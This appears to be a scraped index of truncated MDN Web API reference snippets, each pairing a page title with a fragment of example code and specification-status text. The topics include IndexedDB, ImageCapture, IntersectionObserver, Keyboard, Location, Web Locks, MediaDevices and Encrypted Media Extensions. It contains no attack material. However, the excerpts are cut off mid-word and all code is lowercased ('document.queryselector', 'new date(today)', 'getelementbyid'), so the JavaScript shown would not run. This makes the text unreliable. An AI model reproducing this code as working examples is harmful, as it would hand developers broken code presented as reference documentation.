date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.index() - Web APIs
cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'index()' in that specification.
... recommendation indexed database api draftthe definition of 'index()' in that specification.
IDBObjectStore.openCursor() - Web APIs
e.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification.
... recommendation indexed database api draftthe definition of 'opencursor()' in that specification.
IDBObjectStore.openKeyCursor() - Web APIs
ent.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifications specification status comment indexed database api 2.0the definition of 'openkeycursor()' in that specification.
... recommendation indexed database api draftthe definition of 'openkeycursor()' in that specification.
IDBObjectStore.put() - Web APIs
ction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() function again to update the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specification specification status comment indexed database api 2.0the definition of 'put()' in that specification.
... recommendation indexed database api draftthe definition of 'put()' in that specification.
IDBOpenDBRequest.onupgradeneeded - Web APIs
var magazines = db.createobjectstore("magazines"); var publisherindex = magazines.createindex("by_publisher", "publisher"); var frequencyindex = magazines.createindex("by_frequency", "frequency"); } }; request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; db = request.result; populateanddisplaydata(); }; specifications specification status comment indexed database api 2.0the definition of 'onupgradeneeded' in that specification.
... recommendation indexed database api draftthe definition of 'onupgradeneeded' in that specification.
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
ate the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specification status comment indexed database api 2.0the definition of 'error' in that specification.
... recommendation indexed database api draftthe definition of 'error' in that specification.
IDBRequest.onerror - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
IDBRequest.onsuccess - Web APIs
create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
... recommendation indexed database api draftthe definition of 'onsuccess' in that specification.
IDBRequest.readyState - Web APIs
; // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
... recommendation indexed database api draftthe definition of 'readystate' in that specification.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
... recommendation indexed database api draftthe definition of 'result' in that specification.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
ore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
... recommendation indexed database api draftthe definition of 'source' in that specification.
IDBRequest.transaction - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
... recommendation indexed database api draftthe definition of 'transaction' in that specification.
IDBTransaction.objectStoreNames - Web APIs
specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation indexed database api draftthe definition of 'objectstorenames' in that specification.
IDBTransaction.commit() - Web APIs
nt) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
... recommendation unitial definition.
IDBVersionChangeEvent.oldVersion - Web APIs
}; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification.
... recommendation indexed database api draftthe definition of 'oldversion' in that specification.
ImageBitmap.height - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
... living standard initial definition.
ImageBitmap.width - Web APIs
WebAPIImageBitmapwidth
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
... living standard initial definition.
ImageCapture() constructor - Web APIs
navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
... working draft initial definition.
ImageCapture.getPhotoCapabilities() - Web APIs
ilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotocapabilities()' in that specification.
... working draft initial definition.
ImageCapture.getPhotoSettings() - Web APIs
ilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotosettings()' in that specification.
... working draft initial definition.
ImageCapture.grabFrame() - Web APIs
og('grabbed frame:', imagebitmap); canvas.width = imagebitmap.width; canvas.height = imagebitmap.height; canvas.getcontext('2d').drawimage(imagebitmap, 0, 0); canvas.classlist.remove('hidden'); }) .catch(function(error) { console.log('grabframe() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'grabframe()' in that specification.
... working draft initial definition.
ImageCapture.takePhoto() - Web APIs
ton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification.
... working draft initial definition.
ImageCapture.track - Web APIs
specifications specification status comment mediastream image capturethe definition of 'track' in that specification.
... working draft initial definition.
ImageCapture - Web APIs
rawimage(img, 0, 0, img.width, img.height, x, y, img.width * ratio, img.height * ratio); } document.queryselector('video').addeventlistener('play', function() { document.queryselector('#grabframebutton').disabled = false; document.queryselector('#takephotobutton').disabled = false; }); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
... working draft initial definition.
ImageData.data - Web APIs
WebAPIImageDatadata
specification specification status comment html living standardthe definition of 'imagedata.data' in that specification.
... living standard initial definition.
ImageData.height - Web APIs
WebAPIImageDataheight
let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
... living standard initial definition.
ImageData.width - Web APIs
WebAPIImageDatawidth
let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
... living standard initial definition.
firesTouchEvents - Web APIs
syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification.
... draft initial definition.
InputDeviceCapabilities - Web APIs
specifications specification status comment inputdevicecapabilitiesthe definition of 'sourcecapabilities' in that specification.
... draft initial definition.
InputEvent.data - Web APIs
WebAPIInputEventdata
<p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
... working draft initial definition.
InputEvent.dataTransfer - Web APIs
e paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification.
... working draft initial definition.
InputEvent.getTargetRanges() - Web APIs
specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification.
... working draft initial definition.
InputEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification.
... obsolete initial definition.
InstallEvent.InstallEvent() - Web APIs
syntax var myinstallevent = new installevent(type, init); parameters type the type of the event.
... init optional an options object containing any custom settings that you want to apply to the event object.
IntersectionObserver.IntersectionObserver() - Web APIs
let observer = new intersectionobserver(myobservercallback, {threshold: 0.1}); specifications specification status comment intersection observerthe definition of 'intersectionobserver constructor' in that specification.
... working draft initial definition.
IntersectionObserver.disconnect() - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.disconnect()' in that specification.
... working draft initial definition.
IntersectionObserver.observe() - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.observe()' in that specification.
... working draft initial definition.
IntersectionObserver.root - Web APIs
observer.root.style.border = "2px solid #44aa44"; specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
... working draft initial definition ...
IntersectionObserver.rootMargin - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserver.rootmargin' in that specification.
... working draft initial definition ...
IntersectionObserver.takeRecords() - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.takerecords()' in that specification.
... working draft initial definition.
IntersectionObserver.thresholds - Web APIs
examples <<<...>>> specifications specification status comment intersection observerthe definition of 'intersectionobserver.thresholds' in that specification.
... working draft initial definition ...
IntersectionObserver.unobserve() - Web APIs
*/ observer.unobserve(document.getelementbyid("elementtoobserve")); specifications specification status comment intersection observerthe definition of 'intersectionobserver.unobserve()' in that specification.
... working draft initial definition.
IntersectionObserverEntry.boundingClientRect - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.boundingclientrect' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.intersectionRatio - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionratio' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.intersectionRect - Web APIs
function intersectioncallback(entries) { entries.foreach(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.isIntersecting - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.isintersecting' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.rootBounds - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.rootbounds' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.target - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.target' in that specification.
... working draft initial definition ...
IntersectionObserverEntry.time - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.time' in that specification.
... working draft initial definition ...
IntersectionObserverEntry - Web APIs
specifications specification status comment intersection observerthe definition of 'intersectionobserverentry' in that specification.
... working draft initial definition ...
Timing element visibility with the Intersection Observer API - Web APIs
ads finally, the ads have the following initial styling.
...the initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.
Keyboard.getLayoutMap() - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'getlayoutmap()' in that specification.
... editor's draft initial definition.
Keyboard.lock() - Web APIs
WebAPIKeyboardlock
navigator.keyboard.lock(["keyw", "keya", "keys", "keyd"]); specifications specification status comment keyboard lockthe definition of 'lock()' in that specification.
... editor's draft initial definition.
KeyboardEvent.altKey - Web APIs
</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.altkey' in that specification.
... obsolete initial definition.
KeyboardEvent.charCode - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.charcode' in that specification.
... obsolete initial definition; specified as deprecated ...
KeyboardEvent.code - Web APIs
specification specification status comment ui eventsthe definition of 'keyboardevent.code' in that specification.
... working draft initial definition, included code values.
KeyboardEvent.ctrlKey - Web APIs
+ "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.ctrlkey' in that specification.
... obsolete initial definition.
KeyboardEvent.getModifierState() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification.
... obsolete initial definition (modifier keys spec) ...
KeyboardEvent.keyCode - Web APIs
} if (handled) { // suppress "double action" if event handled event.preventdefault(); } }, true); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.keycode' in that specification.
... obsolete initial definition; specified as deprecated ...
KeyboardEvent.location - Web APIs
syntax var location = event.location; example function keyevent(event) { console.log("location of key pressed: " + event.location); } specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.location' in that specification.
... obsolete initial definition.
KeyboardEvent.metaKey - Web APIs
syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification.
... obsolete initial definition ...
KeyboardEvent.repeat - Web APIs
syntax var repeat = event.repeat; return value boolean specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.repeat' in that specification.
... obsolete initial definition.
KeyboardEvent.shiftKey - Web APIs
+ "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.shiftkey' in that specification.
... obsolete initial definition.
KeyboardEvent.which - Web APIs
own handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.which' in that specification.
... obsolete initial definition; specified as deprecated ...
KeyboardLayoutMap.entries - Web APIs
specifications specification status comment keyboard mapthe definition of 'entries' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.forEach() - Web APIs
specifications specification status comment keyboard mapthe definition of 'foreach()' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.get() - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); } specifications specification status comment keyboard mapthe definition of 'get()' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.has() - Web APIs
example specification status comment keyboard mapthe definition of 'has()' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.keys - Web APIs
specifications specification status comment keyboard mapthe definition of 'keys' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.size - Web APIs
specifications specification status comment keyboard mapthe definition of 'size' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap.values - Web APIs
specifications specification status comment keyboard mapthe definition of 'values' in that specification.
... editor's draft initial definition.
KeyboardLayoutMap - Web APIs
var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'keyboardlayoutmap' in that specification.
... editor's draft initial definition.
Keyboard API - Web APIs
specifications specification status comment keyboard map editor's draft initial definition.
... keyboard lock editor's draft initial definition.
KeyframeEffect.iterationComposite - Web APIs
specifications specification status comment web animations level 2the definition of 'iterationcomposite' in that specification.
... draft initial definition.
KeyframeEffect - Web APIs
rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
... working draft initial definition ...
LargestContentfulPaint - Web APIs
} specifications specification status comment largest contentful paintthe definition of 'largestcontentfulpaint' in that specification.
... editor's draft initial definition.
LayoutShift - Web APIs
} specifications specification status comment layout instability apithe definition of 'layoutshift' in that specification.
... editor's draft initial definition.
LayoutShiftAttribution - Web APIs
specifications specification status comment layout instability apithe definition of 'layoutshiftattribution' in that specification.
... editor's draft initial definition.
Location: hash - Web APIs
WebAPILocationhash
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/location.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'hash' in that specification.
... living standard initial definition ...
Location: host - Web APIs
WebAPILocationhost
ozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that specification.
... living standard initial definition ...
Location: hostname - Web APIs
WebAPILocationhostname
yntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
... living standard initial definition.
Location: href - Web APIs
WebAPILocationhref
ing = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
... living standard initial definition.
Location: origin - Web APIs
WebAPILocationorigin
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'origin' in that specification.
... living standard initial definition.
Location: port - Web APIs
WebAPILocationport
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
... living standard initial definition.
Location: protocol - Web APIs
WebAPILocationprotocol
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
... living standard initial definition.
Location: search - Web APIs
WebAPILocationsearch
eloper.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
... living standard initial definition.
Location - Web APIs
WebAPILocation
location.pathname is a usvstring containing an initial '/' followed by the path of the url.
...80 console.log(url.hostname); // developer.mozilla.org console.log(url.port); // 8080 console.log(url.pathname); // /search console.log(url.search); // ?q=url console.log(url.hash); // #search-results-close-container console.log(url.origin); // https://developer.mozilla.org:8080 specifications specification status comment html living standardthe definition of 'location' in that specification.
Locks.mode - Web APIs
WebAPILockmode
quest("my_resource", {mode: "exclusive"}, show_lock_properties); // should show "shared" navigator.locks.request("my_resource", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'mode' in that specification.
... draft initial definition.
Locks.name - Web APIs
WebAPILockname
navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'name' in that specification.
... draft initial definition.
Lock - Web APIs
WebAPILock
navigator.locks.request("net_db_sync", show_lock_properties); navigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'lock' in that specification.
... draft initial definition.
LockManager.query() - Web APIs
WebAPILockManagerquery
example const state = await navigator.locks.query(); for (const lock of state.held) { console.log(`held lock: name ${lock.name}, mode ${lock.mode}`); } for (const request of state.pending) { console.log(`requested lock: name ${request.name}, mode ${request.mode}`); } specifications specification status comment web locks apithe definition of 'query()' in that specification.
... draft initial definition.
LockManager.request() - Web APIs
} } specifications specification status comment web locks apithe definition of 'request()' in that specification.
... draft initial definition.
LockManager - Web APIs
specifications specification status comment web locks apithe definition of 'lockmanager' in that specification.
... draft initial definition.
MIDIMessageEvent - Web APIs
examples // printing all messages to console navigator.requestmidiaccess().then(midiaccess => { array.from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
... working draft initial definition.
MSManipulationEvent - Web APIs
methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called from javascript.
... example interface msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_mani...
MSSiteModeEvent - Web APIs
dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created.
... *note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated.
MediaCapabilities.decodingInfo() - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilitiesthe definition of 'decodinginfo()' in that specification.
... draft initial definition ...
MediaCapabilities.encodingInfo() - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilitiesthe definition of 'encodinginfo()' in that specification.
... draft initial definition ...
MediaCapabilities - Web APIs
specifications specification status comment media capabilitiesthe definition of 'mediacapabilities' in that specification.
... draft initial definition ...
MediaCapabilitiesInfo - Web APIs
}); specifications specification status comment media capabilitiesthe definition of 'mediacapabilitiesinfo' in that specification.
... draft initial definition ...
MediaConfiguration - Web APIs
} }; specifications specification status comment media capabilitiesthe definition of 'mediaconfiguration' in that specification.
... draft initial definition ...
MediaDecodingConfiguration - Web APIs
'' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediadecodingconfiguration' in that specification.
... draft initial definition ...
MediaDeviceInfo.deviceId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'kind' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo.label - Web APIs
specifications specification status comment media capture and streamsthe definition of 'label' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo - Web APIs
tent permissions have been granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and streamsthe definition of 'mediadevicesinfo' in that specification.
... candidate recommendation initial definition ...
MediaDevices.enumerateDevices() - Web APIs
persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and streamsthe definition of 'mediadevices: enumeratedevices' in that specification.
... candidate recommendation initial definition.
MediaDevices.getSupportedConstraints() - Web APIs
iadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
... candidate recommendation initial definition.
MediaDevices.getUserMedia() - Web APIs
"user" : "environment") } }; specifications specification status comment media capture and streamsthe definition of 'mediadevices.getusermedia()' in that specification.
... candidate recommendation initial definition ...
MediaDevices - Web APIs
the page access to your devices in ' + 'order for the demo to work.'); } errormsg('getusermedia error: ' + error.name, error); }); function errormsg(msg, error) { errorelement.innerhtml += '<p>' + msg + '</p>'; if (typeof error !== 'undefined') { console.error(error); } } specifications specification status comment media capture and streamsthe definition of 'mediadevices' in that specification.
... candidate recommendation initial definition ...
MediaEncodingConfiguration - Web APIs
'' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediaencodingconfiguration' in that specification.
... draft initial definition ...
MediaError.code - Web APIs
WebAPIMediaErrorcode
the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; specifications specification status comment html living standardthe definition of 'mediaerror.code' in that specification.
... living standard initial definition ...
MediaError.message - Web APIs
specifications specification status comment html living standardthe definition of 'mediaerror.message' in that specification.
... living standard initial definition ...
MediaImage - Web APIs
specifications specification status comment media session standardthe definition of 'mediaimage' in that specification.
... draft initial definition.
message - Web APIs
syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'message' in that specification.
... recommendation initial definition.
MediaKeyMessageEvent.messageType - Web APIs
syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'messagetype' in that specification.
... recommendation initial definition ...
MediaKeyMessageEvent - Web APIs
examples // tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeymessageevent' in that specification.
... recommendation initial definition.
close() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'close()' in that specification.
... recommendation initial definition ...
MediaKeySession.closed - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'closed' in that specification.
... recommendation initial definition ...
expiration - Web APIs
syntax ​var expirationtime = mediakeysessionobj.expiration; specifications specification status comment encrypted media extensionsthe definition of 'expiration' in that specification.
... recommendation initial definition ...
keyStatuses - Web APIs
syntax var mediakeystatusmapobj = mediakeysessionobj.keystatuses; specifications specification status comment encrypted media extensionsthe definition of 'keystatuses' in that specification.
... recommendation initial definition ...
load() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'load()' in that specification.
... recommendation initial definition ...
MediaKeySession.onkeystatuseschange - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuseschange' in that specification.
... recommendation initial definition.
MediaKeySession.onmessage - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onmessage' in that specification.
... recommendation initial definition.
remove() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'remove()' in that specification.
... recommendation initial definition ...
sessionId - Web APIs
syntax ​var sessionid = mediakeysessionobj.sessionid; specifications specification status comment encrypted media extensionsthe definition of 'sessionid' in that specification.
... recommendation initial definition ...
update() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'update()' in that specification.
... recommendation initial definition ...
MediaKeyStatusMap.size - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification.
... recommendation initial definition.
MediaKeyStatusMap - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'mediakeystatusmap' in that specification.
... recommendation initial definition.
createMediaKeys() - Web APIs
syntax var mediakeys = await mediakeysystemaccess.createmediakeys(); specifications specification status comment encrypted media extensionsthe definition of 'createmediakeys()' in that specification.
... recommendation initial definition ...
getConfiguration() - Web APIs
syntax var mediakeysystemconfiguration = mediakeysystemaccess.getconfiguration(); specifications specification status comment encrypted media extensionsthe definition of 'getconfiguration()' in that specification.
... recommendation initial definition ...
keySystem - Web APIs
syntax var keysystem = mediakeysystemaccess.keysystem; specifications specification status comment encrypted media extensionsthe definition of 'keysystem' in that specification.
... recommendation initial definition ...
MediaKeySystemAccess - Web APIs
